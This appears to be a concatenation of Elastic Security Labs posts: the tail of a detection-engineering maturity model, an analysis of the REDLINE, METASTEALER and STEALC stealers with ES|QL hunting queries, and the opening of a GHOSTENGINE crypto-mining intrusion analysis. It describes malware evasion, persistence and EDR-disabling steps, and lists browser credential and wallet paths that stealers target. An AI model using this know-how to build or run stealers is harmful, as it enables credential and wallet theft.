• Qualitative Behaviors - State of Ruleset:
  • Initial: No external validation.
  • Repeatable: Occasional external validation efforts with some improvements.
  • Defined: Regular and comprehensive external validation with documented feedback, improvements, and integration of findings into the detection ruleset. This level includes all of these validation methods.
  • Managed: Structured external validation activities with detailed documentation and continuous improvement; proactive engagement with multiple third-party validators.
  • Optimized: Continuous external validation with automated feedback integration, real-time updates, and proactive improvements based on diverse third-party insights.
• Quantitative Measurements - Activities to Maintain State:
  • Initial: No external validation was conducted.
  • Repeatable: 1 external validation exercise per year, such as a red team exercise or third-party assessment; less than 20% of identified gaps are addressed annually.
  • Defined: More than one external validation exercise per year, including a mix of methods such as red team exercises, third-party assessments, penetration testing, and collaboration with external threat intelligence providers; detailed documentation of improvements based on external feedback, with at least 80% of identified gaps addressed within a quarter; integration of external validation findings into at least 50% of new rules.
  • Managed: Multiple external validation exercises per year, with comprehensive feedback integration; over 90% of identified gaps addressed within set timelines; proactive updates to rules based on continuous external insights.
  • Optimized: Continuous, real-time external validation with automated feedback and updates; 100% of identified gaps addressed proactively; comprehensive tracking and reporting of all external validation outcomes.

Advanced TTP Coverage

Covering non-commodity malware (APTs, zero-days, etc.) and emerging threats (new malware families and offensive security tools abused by threat actors, etc.) in the ruleset. This coverage is influenced by the capability of detecting these advanced threats, which requires comprehensive telemetry and flexible data ingestion. While demonstrating these behaviors early in the maturity process can have a compounding positive effect on team growth, this criterion is designed to focus on higher fidelity rulesets with low FPs.

• Qualitative Behaviors - State of Ruleset:
  • Initial: No advanced TTP coverage.
  • Repeatable: Response to some advanced TTPs based on third-party published research.
  • Defined: First-party coverage created for advanced TTPs based on threat intelligence and internal research, with flexible and comprehensive data ingestion capabilities.
  • Managed: Proactive coverage for advanced TTPs with detailed threat intelligence and continuous updates; integration with diverse data sources for comprehensive detection.
  • Optimized: Continuous, automated coverage for advanced TTPs using advanced analytics and machine learning; real-time updates and proactive measures for emerging threats.
• Quantitative Measurements - Activities to Maintain State:
  • Initial: No advanced TTP coverage.
  • Repeatable: Detection and response to 1-3 advanced TTPs/adversaries based on available data and third-party research; less than 20% of rules cover advanced TTPs.
  • Defined: Detection and response to more than three advanced TTPs/adversaries uniquely identified and targeted based on first-party threat intelligence and internal research; 50-70% of rules cover advanced TTPs; comprehensive telemetry and flexible data ingestion for at least 70% of advanced threat detections; regular updates to advanced TTP coverage based on new threat intelligence.
  • Managed: Detection and response to over five advanced TTPs/adversaries with continuous updates and proactive measures; 70-90% of rules cover advanced TTPs with integrated telemetry and data ingestion; regular updates and feedback loops with threat intelligence teams.
  • Optimized: Real-time detection and response to advanced TTPs with automated updates and proactive coverage; 100% of rules cover advanced TTPs with continuous telemetry integration; dynamic updates and real-time feedback based on evolving threat landscapes.

Tier 4: Expert

The expert tier focuses on advanced automation, seamless integration with other security tools, and continuous improvement through regular updates and external collaboration. While proactive threat hunting is essential for maintaining a solid security posture, it complements the ruleset management process by identifying new patterns and insights that can be incorporated into detection rules. Teams implement sophisticated automation for rule updates, ensuring continuous integration of advanced detections. At Elastic, our team is constantly refining our rulesets through daily triage, regular updates, and sharing threat hunt queries in our public GitHub repository to help the community improve their detection capabilities.

Criteria

Hunting in Telemetry/Internal Data

Setting up queries and daily triage to hunt for new threats and ensure rule effectiveness. This applies to vendors hunting in telemetry and other teams hunting in their available datasets.

• Qualitative Behaviors - State of Ruleset:
  • Initial: No hunting activities leading to ruleset improvement.
  • Repeatable: Occasional hunting activities with some findings.
  • Defined: Regular and systematic hunting with significant coverage findings based on the Threat Hunting Maturity Model, including findings from external validation, end-to-end testing, and malware detonations.
  • Managed: Continuous hunting activities with comprehensive documentation and integration of findings; regular feedback loops between hunting and detection engineering teams.
  • Optimized: Automated, real-time hunting with advanced analytics and machine learning; continuous documentation and proactive integration of findings to enhance detection rules.
• Quantitative Measurements - Activities to Maintain State:
  • Initial: No hunting activities conducted, leading to ruleset improvement.
  • Repeatable: Bi-weekly outcome (e.g., discovered threats, new detections based on hypotheses, etc.) from hunting workflows; less than 20% of hunting findings are documented; minimal integration of hunting results into detection rules.
  • Defined: Weekly outcome with documented improvements and integration into detection rules based on hunting results and external validation data; 50-70% of hunting findings are documented and integrated into detection rules; regular feedback loop established between hunting and detection engineering teams.
  • Managed: Daily hunting activities with comprehensive documentation and integration of findings; over 90% of hunting findings are documented and lead to updates in detection rules; continuous improvement processes based on hunting results and external validation data; regular collaboration with threat intelligence teams to enhance hunting effectiveness.
  • Optimized: Real-time hunting activities with automated documentation and integration; 100% of hunting findings are documented and lead to immediate updates in detection rules; continuous improvement with proactive measures based on advanced analytics and threat intelligence.

Continuous Improvement and Potential Enhancements

Continuous improvement is vital at the expert tier, leveraging the latest technologies and methodologies to enhance detection capabilities. The "Optimized" levels in the different criteria across various tiers emphasize the necessity for advanced automation and the integration of emerging technologies. Implementing automation for rule updates, telemetry filtering, and integration with other advanced tools is essential for modern detection engineering. While current practices involve advanced automation beyond basic case management and SOAR (Security Orchestration, Automation, and Response), there is potential for further enhancements using emerging technologies like generative AI and large language models (LLMs). This reinforces the need for continuous adaptation and innovation at the highest tier to maintain a robust and effective security posture.

• Qualitative Behaviors - State of Ruleset:
  • Initial: No automation.
  • Repeatable: Basic automation for rule management processes, such as ETL (Extract, transform, and load) data plumbing to enable actionable insights.
  • Defined: Initial use of generative AI to assist in rule creation and assessment. For example, AI can assess the quality of rules based on predefined criteria.
  • Managed: Advanced use of AI/LLMs to detect rule duplications and overlaps, suggesting enhancements rather than creating redundant rules.
  • Optimized: Full generative AI/LLMs integration throughout the detection engineering lifecycle. This includes using AI to continuously improve rule accuracy, reduce false positives, and provide insights on rule effectiveness.
• Quantitative Measurements - Activities to Maintain State:
  • Initial: No automated processes implemented.
  • Repeatable: Implement basic automated processes for rule management and integration; less than 30% of rule management tasks are automated; initial setup of automated deployment and version control.
  • Defined: Use of AI to assess rule quality, with at least 80% of new rules undergoing automated quality checks before deployment; 40-60% of rule management tasks are automated; initial AI-driven insights are used to enhance rule effectiveness and reduce false positives.
  • Managed: AI-driven duplication detection, with a target of reducing rule duplication by 50% within the first year of implementation; 70-80% of rule management tasks are automated; AI-driven suggestions result in a 30-50% reduction in FPs; continuous integration pipeline capturing and deploying rule updates.
  • Optimized: Comprehensive AI integration, where over 90% of rule updates and optimizations are suggested by AI, leading to a significant decrease in manual triaging of alerts and a 40% reduction in FPs; fully automated rule management and deployment processes; real-time AI-driven telemetry filtering and integration with other advanced tools.

Applying the DEBMM to Understand Maturity

Once you understand the DEBMM and its tiers, you can begin applying it to assess and enhance your detection engineering maturity.

The following steps will guide you through the process:

1. Audit Your Current Maturity Tier: Evaluate your existing detection rulesets against the criteria outlined in the DEBMM. Identify your rulesets' strengths, weaknesses, and most significant risks to help determine your current maturity tier. For more details, see the Example Questionnaire.

2. Understand the Scope of Effort: Recognize the significant and sustained effort required to move from one tier to the next. As teams progress through the tiers, the complexity and depth of activities increase, requiring more resources, advanced skills, and comprehensive strategies. For example, transitioning from Tier 1 to Tier 2 involves systematic rule tuning and detailed gap analysis, while advancing to Tier 3 and Tier 4 requires robust external validation processes, proactive threat hunting, and sophisticated automation.

3. Set Goals for Progression: Define specific goals for advancing to the next tier. Use the qualitative and quantitative measures to set clear objectives for each criterion.

4. Develop a Roadmap: Create a detailed plan outlining the actions needed to achieve the goals. Include timelines, resources, and responsible team members. Ensure foundational practices from lower tiers are consistently applied as you progress while identifying opportunities for quick wins or significant impact by first addressing the most critical and riskiest areas for improvement.

5. Implement Changes: Execute the plan, ensuring all team members are aligned with the objectives and understand their roles. Review and adjust the plan regularly as needed.

6. Monitor and Measure Progress: Continuously track and measure the performance of your detection rulesets against the DEBMM criteria. Use metrics and key performance indicators (KPIs) to monitor your progress and identify areas for further improvement.

7. Iterate and Improve: Regularly review and update your improvement plan based on feedback, results, and changing threat landscapes. Iterate on your detection rulesets to enhance their effectiveness and maintain a high maturity tier.

Grouping Criteria for Targeted Improvement

To further simplify the process, you can group criteria into specific categories to focus on targeted improvements. For example:

• Rule Creation and Management: Includes criteria for creating, managing, and maintaining rules.
• Telemetry and Data Quality: Focuses on improving and maintaining telemetry quality.
• Threat Landscape Review: Involves regularly reviewing and updating rules based on changes in the threat landscape.
• Stakeholder Engagement: Engaging with product owners and other stakeholders to meet detection needs.

Grouping criteria allow you to prioritize activities and improvements based on your current needs and goals. This structured and focused approach helps enhance your detection rulesets and is especially beneficial for teams with multiple feature owners working in different domains toward a common goal.

Conclusion

Whether you apply the DEBMM to your ruleset or use it as a guide to enhance your detection capabilities, the goal is to help you systematically develop, manage, and improve your detection rulesets. By following this structured model and progressing through the maturity tiers, you can significantly enhance the effectiveness of your threat detection capabilities. Remember, security is a continuous journey; consistent improvement is essential to stay ahead of emerging threats and maintain a robust security posture. The DEBMM will support you in achieving better security and more effective threat detection. We value your feedback and suggestions on refining and enhancing the model to benefit the security community. Please feel free to reach out with your thoughts and ideas.

We’re always interested in hearing use cases and workflows like these, so as always, reach out to us via GitHub issues, chat with us in our community Slack, and ask questions in our Discuss forums!

Appendix

Example Rule Metadata

Below is an updated list of criteria that align with example metadata used within Elastic but should be tailored to the product used:

Example Questionnaire

1. Identify Threat Landscape

Questions to Ask:

• Do you regularly review the top 5 threats your organization faces? (Yes/No)
• Are relevant tactics and techniques identified for these threats? (Yes/No)
• Is the threat landscape reviewed and updated regularly? (Yes - Monthly/Yes - Quarterly/Yes - Annually/No)
• Have any emerging threats been recently identified? (Yes/No)
• Is there a designated person responsible for monitoring the threat landscape? (Yes/No)
• Do you have data sources that capture relevant threat traffic? (Yes/Partial/No)
• Are critical assets likely to be affected by these threats identified? (Yes/No)
• Are important assets and their locations documented? (Yes/No)
• Are endpoints, APIs, IAM, network traffic, etc. in these locations identified? (Yes/Partial/No)
• Are critical business operations identified and their maintenance ensured? (Yes/No)
• If in healthcare, are records stored in a HIPAA-compliant manner? (Yes/No)
• If using cloud, is access to cloud storage locked down across multiple regions? (Yes/No)

Steps for Improvement:

• Establish a regular review cycle for threat landscape updates.
• Engage with external threat intelligence providers for broader insights.

2. Define the Perfect Rule

Questions to Ask:

• Are required fields for a complete rule defined? (Yes/No)
• Is there a process for documenting and validating rules? (Yes/No)
• Is there a clear process for creating new rules? (Yes/No)
• Are rules prioritized for creation and updates based on defined criteria? (Yes/No)
• Are templates or guidelines available for rule creation? (Yes/No)
• Are rules validated for a period before going into production? (Yes/No)

Steps for Improvement:

• Develop and standardize templates for rule creation.
• Implement a review process for rule validation before deployment.

3. Define the Perfect Ruleset

Questions to Ask:

• Do you have baseline rules needed to cover key threats? (Yes/No)
• Are major threat techniques covered by your ruleset? (Yes/Partial/No)
• Is the effectiveness of the ruleset measured? (Yes - Comprehensively/Yes - Partially/No)
• Do you have specific criteria used to determine if a rule should be included in the ruleset? (Yes/No)
• Is the ruleset maintained and updated? (Yes - Programmatic Maintenance & Frequent Updates/Yes - Programmatic Maintenance & Ad hoc Updates/Yes - Manual Maintenance & Frequent Updates/Yes - Manual Maintenance & Ad Hoc Updates/No)

Steps for Improvement:

• Perform gap analysis to identify missing coverage areas.
• Regularly update the ruleset based on new threat intelligence and feedback.

4. Maintain

Questions to Ask:

• Are rules reviewed and updated regularly? (Yes - Monthly/Yes - Quarterly/Yes - Annually/No)
• Is there a version control system in place? (Yes/No)
• Are there documented processes for rule maintenance? (Yes/No)
• How are changes to the ruleset communicated to stakeholders? (Regular Meetings/Emails/Documentation/No Communication)
• Are there automated processes for rule updates and validation? (Yes/Partial/No)

Steps for Improvement:

• Implement version control for all rules.
• Establish automated workflows for rule updates and validation.

5. Test & Release

Questions to Ask:

• Are tests performed before rule deployment? (Yes/No)
• Is there a documented validation process? (Yes/No)
• Are test results documented and used to improve rules? (Yes/No)
• Is there a designated person responsible for testing and releasing rules? (Yes/No)
• Are there automated testing frameworks in place? (Yes/Partial/No)

Steps for Improvement:

• Develop and maintain a testing framework for rule validation.
• Document and review test results to continuously improve rule quality.

6. Criteria Assessment

Questions to Ask:

• Are automated tools, including generative AI, used in the rule assessment process? (Yes/No)
• How often are automated assessments conducted using defined criteria? (Monthly/Quarterly/Annually/Never)
• What types of automation or AI tools are integrated into the rule assessment process? (List specific tools)
• How are automated insights, including those from generative AI, used to optimize rules? (Regular Updates/Ad hoc Updates/Not Used)
• What metrics are tracked to measure the effectiveness of automated assessments? (List specific metrics)

Steps for Improvement:

• Integrate automated tools, including generative AI, into the rule assessment and optimization process.
• Regularly review and implement insights from automated assessments to enhance rule quality.

7. Iterate

Questions to Ask:

• How frequently is the assessment process revisited? (Monthly/Quarterly/Annually/Never)
• What improvements have been identified and implemented from previous assessments? (List specific improvements)
• How is feedback from assessments incorporated into the ruleset? (Regular Updates/Ad hoc Updates/Not Used)
• Who is responsible for iterating on the ruleset based on assessment feedback? (Designated Role/No Specific Role)
• Are there metrics to track progress and improvements over time? (Yes/No)

Steps for Improvement:

• Establish a regular review and iteration cycle.
• Track and document improvements and their impact on rule effectiveness.

The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.

This article describes our analysis of the top Windows malware stealer families that we’ve identified, unveiling their operation methodologies, recent updates, and configurations. By understanding the modus operandi of each family, we better comprehend the magnitude of their impact and can fortify our defences accordingly. Additionally, we’ll examine our unique telemetry to offer insights about the current volume associated with these prevalent malware stealer families.

Mitigating this kind of covert threat requires a multi-faceted approach consistent with defense-in-depth principles. We will likewise describe various techniques for detection, including the use of ES|QL hunting queries and Yara rules which empower organizations to proactively defend against them.

Telemetry overview

The telemetry data showcased in this article encompasses insights gathered from both internal and external sources, providing a comprehensive understanding of threat activity.

Notably, between 2022 and 2023, REDLINE emerged as the most prevalent malware in the wild, closely trailed by AGENT TESLA, VIDAR, and then STEALC. It's worth highlighting that this period marked the debut of STEALC in the wild, indicative of evolving threat landscapes.

In the subsequent time frame, spanning from 2023 to 2024, there was a notable spike in AGENT TESLA activity, followed by REDLINE, STEALC, and VIDAR, reflecting shifting trends in malware prevalence and distribution.

Elastic telemetry data May 2023 - May 2024

Despite fluctuations in general malware prevalence, AGENT TESLA has consistently maintained its position as a prominent threat. This enduring dominance can be attributed to several factors, including its relatively low price point and enticing capabilities, which appeal to a wide range of threat actors, particularly those operating with limited resources or expertise.

A noteworthy observation is that due to METASTEALER’s foundation on REDLINE, certain METASTEALER samples may inadvertently fall under the categorization of REDLINE.

Top stealers overview

REDLINE (REDLINE STEALER)

REDLINE made its debut in the threat landscape in 2020, leveraging email as its initial distribution method; it operates on a Malware-as-a-Service (MaaS) model, making it accessible to a wide range of threat actors. Its affordability and availability in underground forums have contributed to its popularity among cybercriminals.

The latest operations of REDLINE involve multiple infection vectors, including email phishing, malicious websites hosting seemingly legitimate applications, and social engineering tactics. Our researchers analyzed a recent sample reported by vx-underground indicating a campaign targeting engineers on the freelancing platform Fiverr. This tactic poses significant risks, potentially leading to the compromise of companies through unsuspecting freelancers.

REDLINE is built on the .NET framework, which provides it with portability and ease of implementation. It has a variety of functionalities aimed at gathering vital system information and extracting sensitive data:

• System information acquisition:
• Collects essential system details such as UserName, Language, and Time Zone
• Retrieves hardware specifics including processor and graphic card information
• Monitors running processes and identifies installed browsers
• Data extraction:
• Targets browser data repositories, extracting saved passwords, credit card details, cookies, and auto-fill entries
• Procures VPN login credentials for unauthorized access
• Logs user credentials and chat histories from platforms like Discord and Telegram
• Identifies and steals cryptocurrency wallets, potentially compromising valuable digital assets:

REDLINE uses a string obfuscation technique to hinder analysis and evade detection based on strings like yara by dynamically constructing the strings at runtime from an array of characters:

Its configuration is structured within a static class, containing four public fields: IP, ID, Message, and an XOR Key. The IP and ID fields contents are encrypted using XOR encryption and then encoded in base64 as depicted below:

METASTEALER

METASTEALER emerged in 2022, initially advertised as a derivative of REDLINE, with additional features; our malware analysts recently encountered a sample of METASTEALER within a campaign masquerading as Roblox, previously reported by CERT as Orange Polska.

METASTEALER is primarily developed using the .NET framework, facilitating its compatibility with Windows environments and enabling ease of implementation. Certain versions employ obfuscation methods, including obscuring the control flow of the malware and making it more challenging to detect or analyze.

This METASTEALER sample utilizes the AGILE.NET obfuscator, specifically its proxy call obfuscation method. This technique is used to conceal the direct invocation of an original function by introducing an additional layer of abstraction. Instead of directly invoking the function, AGILE.NET generates a proxy method that then invokes the original function. This added complexity makes it more challenging for code analysts to discern the sequence of actions.

Looking at the code above, we can see the method Delegate11.smethod_0 calls a Delegate11.delegate11_0 which is not initialized, introducing ambiguity during static analysis as analysts cannot determine which method will actually be executed.

At runtime, the malware will initialize the delegate. by calling the method Class4.smethod_13 in the constructor of Delegate11 class, this method constructs a dictionary of token values, where each key represents the token value of a delegate (e.g., 0x040002DE), and its corresponding value represents the token of the original method to be executed. This dictionary is constructed from a sequence of bytes stored in the binary, enabling dynamic resolution of method invocations during runtime.

Following this, it will generate a dynamic method for the delegate and execute it using the smethod_0 function.

All the important strings in the configuration, like the C2 IP address and port, are encrypted. The malware has a class called Strings that is called at the start of execution to decrypt all the strings at once, a process involving a combination of Base64 encoding, XOR decryption, and AES CBC decryption.

Initially, the AES parameters, such as the AES KEY and AES IV, undergo decryption. In the provided example, the AES KEY and AES IV are first base64 decoded. Subsequently, they are subjected to XOR decryption using a predetermined XOR key, followed by two consecutive base64 decoding steps.

The Strings class holds byte arrays that are decrypted using AES CBC after being reversed, and then appended to the Strings.Array list. Later, when the malware requires specific strings, it accesses them by indexing this list. For example String.get(6).

STEALC

A recent major player in the stealer space discovered by Sekoia in February 2023 is the STEALC family. This malware was first advertised in an underground forum in January 2023 where the developer mentioned a major dependency on existing families such as VIDAR, RACOON, and REDLINE. Since this timeframe, our team has observed new STEALC samples daily showing signs of popularity and adoption by cybercriminals.

STEALC is implemented in C and includes features like dynamic imports, string obfuscation, and various anti-analysis checks prior to activating its data-stealing capabilities. In order to protect the binary and its core features, STEALC encrypts its strings using a combination of Base64 + RC4 using a hardcoded key embedded in each sample.

There are 6 separate functions used for anti-analysis/anti-sandbox checks within STEALC. Based on the number of processors, STEALC will terminate itself if the active processor count is less than 2.

STEALC performs a sandbox/emulation test using a more obscure Windows API (VirtualAllocExNuma) to allocate a large amount of memory. If the API is not implemented, the process will terminate.

The malware performs another sandbox check by reading values from GlobalMemoryStatusEx. After a byte shift against the collected attributes of the physical memory, if the value is less than 0x457 the sample will terminate.

The malware will stop execution if the language identifier matches one of the following LangIDs:

• Russian_Russia (0x419)
• Ukrainian_Ukraine (0x422)
• Belarusian_Belarus (0x423)
• Kazakh_Kazakhstan (0x43f)
• Uzbek_Latin__Uzbekistan (0x443)

STEALC also incorporates the Microsoft Defender emulation check, we have observed this in many stealers such as seen in LOBSHOT. STEALC will terminate if the following hard-coded values match inside Microsoft Defender’s emulation layer with the username JohnDoe and computer name of HAL9TH.

One of the more impactful anti-analysis checks that comes with STEALC is an expiration date. This unique value gets placed into the malware’s config to ensure that the stealer won’t execute after a specific date set by the builder. This allows the malware to keep a lower profile by using shorter turnarounds in campaigns and limiting the execution in sandbox environments.

STEALC - Execution flow

After its initial execution, STEALC will send the initial hardware ID of the machine and receive a configuration from the C2 server:

f960cc969e79d7b100652712b439978f789705156b5a554db3acca13cb298050efa268fb|done|tested.file|1|1|1|1|1|1|1|1|

After this request, it will send multiple requests to receive an updated list of targeted browsers and targeted browser extensions. Below is an example of the browser configuration, this contains the targeted directory path where the sensitive data is stored.

Google Chrome|\Google\Chrome\User Data|chrome|chrome.exe|Google Chrome Canary|\Google\Chrome SxS\User Data|chrome|chrome.exe|Chromium|\Chromium\User Data|chrome|chrome.exe|Amigo|\Amigo\User Data|chrome|0|Torch|\Torch\User Data|chrome|0|Vivaldi|\Vivaldi\User Data|chrome|vivaldi.exe|Comodo Dragon|\Comodo\Dragon\User Data|chrome|0|EpicPrivacyBrowser|\Epic Privacy Browser\User Data|chrome|0|CocCoc|\CocCoc\Browser\User Data|chrome|0|Brave|\BraveSoftware\Brave-Browser\User Data|chrome|brave.exe|Cent Browser|\CentBrowser\User Data|chrome|0|7Star|\7Star\7Star\User Data|chrome|0|Chedot Browser|\Chedot\User Data|chrome|0|Microsoft Edge|\Microsoft\Edge\User Data|chrome|msedge.exe|360 Browser|\360Browser\Browser\User Data|chrome|0|QQBrowser|\Tencent\QQBrowser\User Data|chrome|0|CryptoTab|\CryptoTab Browser\User Data|chrome|browser.exe|Opera Stable|\Opera Software|opera|opera.exe|Opera GX Stable|\Opera Software|opera|opera.exe|Mozilla Firefox|\Mozilla\Firefox\Profiles|firefox|0|Pale Moon|\Moonchild Productions\Pale Moon\Profiles|firefox|0|Opera Crypto Stable|\Opera Software|opera|opera.exe|Thunderbird|\Thunderbird\Profiles|firefox|0|

At this point, STEALC will then collect a broad range of victim information. This information is then formatted, Base64 encoded, and then sent to the C2 server over POST requests using form data fields.

• Hardware ID
• Windows OS product info
• Processor / RAM information
• Username / computername
• Local system time / time zone / locale of victim
• Keyboard layout
• Battery check (used to determine if laptop or not)
• Desktop resolution, display info
• Installed programs, running processes

For the stealing component, STEALC leverages the received configurations in order to collect various valuable information including:

• Browser cookies
• Login data
• Web data
• History
• Cryptocurrency wallets

STEALC also offers other various configuration options including:

• Telegram data
• Discord
• Tox
• Pidgin
• Steam
• Outlook emails

Detection

To fully leverage detection capabilities listed below for these threats with Elastic Security, it is essential to integrate Elastic Defend and Windows.

• Connection to WebService by an Unsigned Binary
• Connection to WebService by a Signed Binary Proxy
• Suspicious DNS Query from Mounted Virtual Disk
• Suspicious Access to Web Browser Credential Stores
• Web Browser Credential Access via Unsigned Process
• Access to Browser Credentials from Suspicious Memory
• Failed Access Attempt to Web Browser Files
• Web Browser Credential Access via Unusual Process

ES|QL queries

The following list of hunts and detection queries can be used to detect stealers activities:

• Identifies untrusted or unsigned executables making DNS requests to Telegram or Discord domains, which may indicate command-and-control communication attempts.

  from logs-endpoint*
  | where (process.code_signature.trusted == false or process.code_signature.exists == false)
  | where dns.question.name in ("api.telegram.com", "cdn.discordapp.com",
                                  "discordapp.com", "discord.com","discord.gg","cdn.discordapp.com")
  | stats executable_count = count(*) by process.executable, process.name, dns.question.name
  | sort executable_count desc
  

• Detects suspicious activies targeting crypto wallets files and configurations stored on Windows systems.

  from logs-endpoint.events.file-*
  | where @timestamp > now() - 14 days
  | where host.os.type == "windows"
  and event.category == "file"
  and event.action == "open" 
  and (
    file.path rlike """C:\\Users\\.+\\AppData\\Roaming\\.+\\(Bitcoin|Ethereum|Electrum|Zcash|Monero|Wallet|Litecoin|Dogecoin|Coinbase|Exodus|Jaxx|MyEtherWallet|MetaMask)\\.*"""
    or file.path rlike """C:\\ProgramData\\.+\\(Bitcoin|Ethereum|Electrum|Zcash|Monero|Wallet|Litecoin|Dogecoin|Coinbase|Exodus|Jaxx|MyEtherWallet|MetaMask)\\.*"""
  )
  | keep process.executable, process.name, host.id, file.path, file.name
  | stats number_hosts = count_distinct(host.id), unique_files = count_distinct(file.name) by process.executable
  | where number_hosts == 1 and unique_files >= 3
  | sort number_hosts desc
  

• Monitors access to sensitive browser data, such as cookies, login data, and browsing history, which may indicate information-stealing malware activities.

  from logs-endpoint.events.file-*, logs-windows.sysmon_operational-default-*
  | where @timestamp > now() - 14 days
  | where host.os.type == "windows"
  and event.category == "file"
  and event.action in ("open", "modification")
  and (
    file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Local\\\\(Google\\\\Chrome\\\\User Data\\\\.*|Google\\\\Chrome SxS\\\\User Data\\\\.*|Chromium\\\\User Data\\\\.*|Amigo\\\\User Data\\\\.*|Torch\\\\User Data\\\\.*|Vivaldi\\\\User Data\\\\.*|Comodo\\\\Dragon\\\\User Data\\\\.*|Epic Privacy Browser\\\\User Data\\\\.*|CocCoc\\\\Browser\\\\User Data\\\\.*|BraveSoftware\\\\Brave-Browser\\\\User Data\\\\.*|CentBrowser\\\\User Data\\\\.*|7Star\\\\7Star\\\\User Data\\\\.*|Chedot\\\\User Data\\\\.*|Microsoft\\\\Edge\\\\User Data\\\\.*|360Browser\\\\Browser\\\\User Data\\\\.*|Tencent\\\\QQBrowser\\\\User Data\\\\.*|CryptoTab Browser\\\\User Data\\\\.*|Opera Software\\\\Opera Stable\\\\.*|Opera Software\\\\Opera GX Stable\\\\.*)\\\\(Default|Profile \\\\d+)\\\\(Cookies|Login Data|Web Data|History|Bookmarks|Preferences|Visited Links|Network Action Predictor|Top Sites|Favicons|Shortcuts)"
    or file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Mozilla\\\\Firefox\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|places.sqlite|key4.db|cert9.db)"
    or file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Moonchild Productions\\\\Pale Moon\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|places.sqlite|key3.db|cert8.db)"
    or file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Thunderbird\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|key4.db|cert9.db)"
  )
  | keep process.executable, process.name, event.action, host.id, host.name, file.path, file.name
  | eval process_path = replace(process.executable, "([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\\.tmp|DX[A-Z0-9]{3,4}\\.tmp|7z[A-Z0-9]{3,5}\\.tmp|[0-9\\.\\-_]{3,})", "")
  | eval process_path = replace(process_path, "[cC]:\\\\[uU][sS][eE][rR][sS]\\\\[a-zA-Z0-9\\.\\-_\\$~ ]+\\\\", "C:\\\\users\\\\user\\\\")
  | eval normalized_file_path = replace(file.path, "[cC]:\\\\[uU][sS][eE][rR][sS]\\\\[a-zA-Z0-9\\.\\-_\\$~ ]+\\\\", "C:\\\\users\\\\user\\\\")
  | stats number_hosts = count_distinct(host.id) by process.executable, process.name, event.action, normalized_file_path, file.name, host.name
  | where number_hosts == 1
  | sort number_hosts desc
  

Yara rules

• Windows Trojan MetaStealer
• Windows Trojan Stealc
• Windows Trojan RedLineStealer
• Windows Trojan AgentTesla

Conclusion

In conclusion, it's crucial to recognize that these malware threats pose significant risks to both companies and individuals alike. Their affordability makes them accessible not only to sophisticated cybercriminals but also to small-time offenders and script kiddies. This accessibility underscores the democratisation of cybercrime, where even individuals with limited technical expertise can deploy malicious software.

Elastic's comprehensive suite of security features offers organisations and individuals the tools they need to defend against malware attacks effectively. From advanced threat detection to real-time monitoring and response capabilities.

Elastic Security Labs has identified an intrusion set incorporating several malicious modules and leveraging vulnerable drivers to disable known security solutions (EDRs) for crypto mining. Additionally, the team discovered capabilities to establish persistence, install a previously undocumented backdoor, and execute a crypto-miner. We refer to this intrusion set as REF4578 and the primary payload as GHOSTENGINE (tangental research by the team at Antiy has named parts of this intrusion set HIDDENSHOVEL).

Key takeaways

• Malware authors incorporated many contingency and duplication mechanisms
• GHOSTENGINE leverages vulnerable drivers to terminate and delete known EDR agents that would likely interfere with the deployed and well-known coin miner
• This campaign involved an uncommon amount of complexity to ensure both the installation and persistence of the XMRIG miner

Code analysis

On May 6, 2024, at 14:08:33 UTC, the execution of a PE file named Tiworker.exe (masquerading as the legitimate Windows TiWorker.exe file) signified the beginning of the REF4578 intrusion. The following alerts were captured in telemetry, indicating a known vulnerable driver was deployed.

Upon execution, this file downloads and executes a PowerShell script that orchestrates the entire execution flow of the intrusion. Analysis revealed that this binary executes a hardcoded PowerShell command line to retrieve an obfuscated script, get.png, which is used to download further tools, modules, and configurations from the attacker C2– as depicted in the screenshot below.

GHOSTENGINE

GHOSTENGINE is responsible for retrieving and executing modules on the machine. It primarily uses HTTP to download files from a configured domain, with a backup IP in case domains are unavailable. Additionally, it employs FTP as a secondary protocol with embedded credentials. The following is a summary of the execution flow:

This script downloads and executes clearn.png, a component designed to purge the system of remnants from prior infections belonging to the same family but different campaign; it removes malicious files under C:\Program Files\Common Files\System\ado and C:\PROGRA~1\COMMON~1\System\ado\ and removes the following scheduled tasks by name:

• Microsoft Assist Job
• System Help Center Job
• SystemFlushDns
• SystemFlashDnsSrv

Evidence of those scheduled task artifacts may be indicators of a prior infection.

During execution, it attempts to disable Windows Defender and clean the following Windows event log channels:

• Application
• Security
• Setup
• System
• Forwarded Events
• Microsoft-Windows-Diagnostics-Performance
• Microsoft-Windows-AppModel-Runtime/Operational
• Microsoft-Windows-Winlogon/Operational

get.png disables Windows Defender, enables remote services, and clears the contents of:

• C:\Windows\Temp\
• C:\Windows\Logs\
• C:\$Recycle.Bin\
• C:\windows\ZAM.krnl.trace

get.png also verifies that the C:\ volume has at least 10 MB of free space to download files, storing them in C:\Windows\Fonts. If not, it will try to delete large files from the system before looking for another suitable volume with sufficient space and creating a folder under $RECYCLE.BIN\Fonts.

To get the current DNS resolution for the C2 domain names, GHOSTENGINE uses a hardcoded list of DNS servers, 1.1.1.1 and 8.8.8.8.

Next, to establish persistence, get.png creates the following scheduled tasks as SYSTEM:

• OneDriveCloudSync using msdtc to run the malicious service DLL C:\Windows\System32\oci.dll every 20 minutes (described later)
• DefaultBrowserUpdate to run C:\Users\Public\run.bat, which downloads the get.png script and executes it every 60 minutes
• OneDriveCloudBackup to execute C:\Windows\Fonts\smartsscreen.exe every 40 minutes

get.png terminates all curl.exe processes and any PowerShell process with *get.png* in its command line, excluding the current process. This is a way to terminate any concurrently running instance of the malware.

This script then downloads config.txt, a JSON file containing the hashes of the PE files it retrieved. This file verifies whether any updated binaries are to be downloaded by checking the hashes of the previously downloaded files from any past infections.

Finally, get.png downloads all of its modules and various PE files. Below is a table containing a description of each downloaded file:

GHOSTENGINE modules

GHOSTENGINE deploys several modules that can tamper with security tools, create a backdoor, and check for software updates.

